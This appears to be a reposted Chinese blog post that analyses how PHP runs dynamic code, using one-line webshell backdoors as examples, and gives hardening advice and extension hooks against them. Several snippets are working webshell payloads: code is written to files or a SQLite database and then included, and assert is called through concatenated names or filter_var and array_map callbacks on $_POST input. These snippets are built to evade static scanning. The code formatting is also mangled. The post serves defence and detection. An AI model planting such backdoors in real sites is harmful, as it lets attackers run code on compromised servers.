浅谈PHP代码的执行与防御

2018-03-13 13:32:20  阅读 925 次 评论 0 条

1.jpg 浅谈PHP代码的执行与防御 技术专栏 第1张

谈起网站木马,现在比较流行的网站都是PHP语言写的程序,PHP的灵活性极强,其可以通过各种意想不到的办法来动态执行代码。正因如此,PHP界的“一句话木马”(“后门”,backdoor),写法极其神奇,充满了脑洞,大部分变种完全无法通过静态扫描查到(当然如果用沙盒执行+启发式拦截的方式大概可以,这就变成传统杀毒软件了)。因此,我们不如从这些一句话木马,看看PHP是如何执行动态代码的吧。

提前说明一下,如果只是要在自己服务器上做一些防御的话,只看下面几条建议就可以了:


  1. 升级到PHP 7.1,该版本对大部分常见的执行动态代码的方法进行了封堵。

  2. php.ini中,关闭“allow_url_fopen”。在打开它的情况下,可以通过phar://等协议丢给include,让其执行动态代码。

  3. php.ini中,通过disable_functions关闭exec,passthru,shell_exec,system等函数,禁止PHP调用外部程序。

  4. 永远不要在代码中使用eval。

  5. 设置好上传文件夹的权限,禁止从该文件夹执行代码。

  6. include文件的时候,注意文件的来源;需要动态include时做好参数过滤。


当然,本文未经特别标注,全部以PHP 7.1为基础。


先从最简单的一句话木马开始吧:

PHP
<?phpeval('1');

这种代码因为用了eval,所以是最好封堵或查杀的。eval不可通过disable_functions关闭,也不可以通过字符串来调用。它是一个语言特性,而不是一个函数。用关键字扫描即可解决。

PHP不是解释执行的(即读一行执行一行)。在代码执行前,先要由Zend引擎将其编译为一种中间语言,称之为“OPCode”。我们通过vld扩展(https://github.com/derickr/vld),可以在代码执行前看到这一段PHP到底被解析成了什么。

Markdown
line#*EIOopfetchextreturnoperands-------------------------------------------------------------------------------------
10E;INCLUDE_OR_EVAL'1',EVAL
21;RETURN1

可以看到的是,这个opcode是“INCLUDE_OR_EVAL”。看看什么东西会被组合成这个opcode:https://github.com/php-src/php/blob/0eb3c377d49a331282b943dba165b4b9df56fad2/Zend/zend_ast.c#L1256

C
caseZEND_AST_INCLUDE_OR_EVAL:
switch(ast-;attr){
caseZEND_INCLUDE_ONCE:FUNC_OP("include_once");
caseZEND_INCLUDE:FUNC_OP("include");
caseZEND_REQUIRE_ONCE:FUNC_OP("require_once");
caseZEND_REQUIRE:FUNC_OP("require");
caseZEND_EVAL:FUNC_OP("eval");
EMPTY_SWITCH_DEFAULT_CASE();
}
break;

于是,自然而然地得知了,include/requireeval的效果都一样。于是引申出了以下做法:

PHP
<?phpfile_put_contents('1.php','<?phpecho"a";');include_once'1.php';

显而易见,这种就显得极难查杀了;如果我们监控了文本文件写,那我们还有许多方式来绕过检测。比如说通过SQLite:

PHP
<?php$db=newSQLite3('db.db');$db-;exec('CREATETABLEa(bSTRING)');$db-;exec('INSERTINTOa(b)VALUES("<?php'.$_GET['a'].'")');$db-;close();include'db.db';

这里的防御就显得极为复杂了,因为考虑到现在世界上绝大多数的CMS /框架的模板都是生成PHP后include的,很难确定保存的文件哪些是用户输入的代码,哪些又不是。

也许,我们可以通过检测用户输入来下手?联想到生物“同位素示踪法”,试试看给用户的输入都打个Tag。不过这不能通过外部Hook执行了,到这里,必须从PHP的扩展下手。

PHP_RINIT_FUNCTION挂一下,每次访问一个PHP页面的时候,都会执行这个函数。然后从PG(http_globals)[TRACK_VARS_POST]这个数组拿输入数据,就可以拿到用户输入的zval了。

zval是PHP中的数据类型的基本结构,通过Z_STR_P这个宏可以将其转为zend_string。不过zend_string目前和我们没啥关系,不关注它。通过看zval的结构,我们发现可以把flag写在zval里面,正如taint这个扩展所做的一样,直接往zval.u.v.flags里丢东西就好啦。

taint的代码:

C
/*{{{PHP_RINIT_FUNCTION
*/PHP_RINIT_FUNCTION(taint){
if(SG(sapi_started)||!TAINT_G(enable)){
returnSUCCESS;
}
if(Z_TYPE(PG(http_globals)[TRACK_VARS_POST])==IS_ARRAY){
php_taint_mark_strings(Z_ARRVAL(PG(http_globals)[TRACK_VARS_POST]));
}
if(Z_TYPE(PG(http_globals)[TRACK_VARS_GET])==IS_ARRAY){
php_taint_mark_strings(Z_ARRVAL(PG(http_globals)[TRACK_VARS_GET]));
}
if(Z_TYPE(PG(http_globals)[TRACK_VARS_COOKIE])==IS_ARRAY){
php_taint_mark_strings(Z_ARRVAL(PG(http_globals)[TRACK_VARS_COOKIE]));
}
/*这里我认为SERVER下的HTTP头也要做个拦截*/
returnSUCCESS;}/**php_taint_mark_strings的主要内容是**/#defineTAINT_MARK(str)(GC_FLAGS((str))|=IS_STR_TAINT_POSSIBLE)TAINT_MARK(Z_STR_P(val));

不过问题来了——

每个PHP_FUNCTION返回的zval都是全新生成的,新的zval是不继承之前的flag的。这就代表我们必须重写所有的函数……所以无法通过检测用户输入来下手……

那,这里最好的方案也就只有白名单了。这个也不太适合通过外部ptrace等监控PHP的fopen系统调用来实现,还是需要通过扩展。不过目前没有扩展能实现这个白名单机制,我之后会在我的扩展内实现。


但如果关闭了PHP的文件读写,还可以继续执行吗?我们可以追一下代码,很容易就追到了php_resolve_pathhttps://github.com/php-src/php/blob/0eb3c377d49a331282b943dba165b4b9df56fad2/main/fopen_wrappers.c#L475。于是我们发现我们可以include各种协议,比如说:

PHP
<?phpinclude("data://text/plain;base64,".base64_encode($content));

甚至,如果打开phar扩展的话,因为zend_resolve_path函数指针被指去了phar_resolve_path,我们还可以通过构造一个phar来动态执行代码。

这就显得很尴尬了,应该怎么防御呢?在php.ini中,关闭“allow_url_fopen”即可解决。

2.jpg 浅谈PHP代码的执行与防御 技术专栏 第2张

另外,还有一个通过MySQL来写文件,然后由PHP来include的神奇方案。仅作记录。

使用

SQL
SELECT*INTOOUTFILE

这个SQL语句可以把MySQL查询写到文件里面。在PHP 5.2下,不受open_basedir的限制,可以随便写到任何一个有权限的地方。

暂未确定这个文件是由MySQL写入的还是PHP写入的(因为懒得查),我个人怀疑还是通过PHP进程写入的,因为open_basedir这个php.ini的配置可以神奇地影响到SQL查询。PHP 5.3以及以后版本,其默认mysql驱动为mysqlnd;PHP 5.2为libmysql。使用libmysql的版本不受open_basedir的限制,所以我猜测从外部监控PHP的系统调用就可以查得到。


那我们还可以不通过eval来执行代码嘛,比如说,create_function

PHP
<?php$a='phpinfo();';call_user_func(create_function(null,$a));

切到Opcode里:


Markdown
line#*EIOopfetchextreturnoperands-------------------------------------------------------------------------------------
10E;ECHO'a'
21ASSIGN!0,'phpinfo();'
32INIT_FCALL'create_function'3SEND_VALnull4SEND_VAR!05DO_ICALL$26INIT_USER_CALL0'call_user_func',$27DO_FCALL0
48;RETURN1


嗯,解决方式是干掉create_function这个函数。这个函数因为特征比较明显(谁没事会从字符串创建函数?)了,所以用的人少一些;assert这一些函数隐蔽的多(断言很常见)。

如:

PHP
<?phpassert('a');

会生成

PHP
line#*EIOopfetchextreturnoperands-------------------------------------------------------------------------------------
20E;ASSERT_CHECK
1INIT_FCALL'assert'
2SEND_VAL'a'
3DO_ICALL
4;RETURN1

它的opcode调用是INIT_FCALL,说明这是一个函数。这也就是说,我们可以通过各种方式对其进行隐藏:

PHP
<?php$p='a'.ssert';$p('phpinfo()');

转到Opcode,就变成

PHP
line#*EIOopfetchextreturnoperands-------------------------------------------------------------------------------------
20E;ASSIGN!0,'assert'
31INIT_DYNAMIC_CALL!0
2SEND_VAL_EX'phpinfo%28%29'
3DO_FCALL0
4;RETURN1

还有以下各种变种:

PHP
<?phparray_map(assign,$_POST);register_shutdown_function('assert',$_POST['code']);filter_var($_REQUEST['code'],FILTER_CALLBACK,['options'=;'assert']);filter_var_array(['test'=;$_REQUEST['code']],['test'=;['filter'=;FILTER_CALLBACK,'options'=;'assert']]);

甚至还可以:

PHP
<?php$db=newSQLite3('db.db');$db-;createFunction('f','assert');$stmt=$db-;prepare("SELECTf(?)");$stmt-;bindValue(1,$_POST['code'],SQLITE3_TEXT);$stmt-;execute();

这种方式应该怎么防御呢?就有好几种办法了。

办法一,升级到PHP 7.1即可解决。PHP 7.1“Forbid dynamic calls to scope introspection functions”(http://php.net/manual/en/migration71.incompatible.php),禁止了所有这种函数的调用。

办法二:

不用PHP 7.1的话还是得写扩展,在老版本PHP上实现新版本的功能。

首先,Hook住以下四个Opcode:ZEND_DO_FCALLZEND_DO_ICALLZEND_DO_UCALLZEND_DO_FCALL_BY_NAME,检测一下调用了什么函数(zend_string_equals_literal(fbc-;common.function_name, "print_r"))。所有的动态调用最后都会跑到INIT_DYNAMIC_CALL来,在zend_init_dynamic_call_xxxx里会给它打一个ZEND_CALL_DYNAMIC的flag。所以,当涉及到特殊函数时,就检测一下现在的current_execute_data是不是动态调用的即可。

按照PHP 7.1的逻辑,需要检测:

  • assert()- with a string as the first argument

  • compact()

  • extract()

  • func_get_args()

  • func_get_arg()

  • func_num_args()

  • get_defined_vars()

  • mb_parse_str()- with one arg

  • parse_str()- with one arg



不过这还不够,实际上还有更猥琐的。

PHP 5.4和以下版本的PCRE,支持“//e”这种修饰符来修饰正则,即“PREG_REPLACE_EVAL

PHP
<?phppreg_match('/.*/e',$_POST['code'],'fuck');

怎么防御?本文开头已经有提到:

办法一,升级到PHP 7。

办法二,Hook住preg_replacepreg_filter函数。只有这两个函数调用了preg_replace_impl,才会用到PREG_REPLACE_EVAL。当然,对于老版本PHP,还需要Hook住ereg_、mb_preg系列函数。

最后说一下,因为某些需求(不会部署在自己的服务器上),我需要一套一句话木马检测方案,所以写出了本文以及半成品扩展:https://github.com/zsxsoft/fval

原文地址:https://blog.zsxsoft.com/post/30。

本文地址:https://www.tctck.com/post/8.html
版权声明:本文为原创文章,版权归 代笔写书 所有,欢迎分享本文,转载请保留出处!

发表评论


表情

还没有留言,还不快点抢沙发?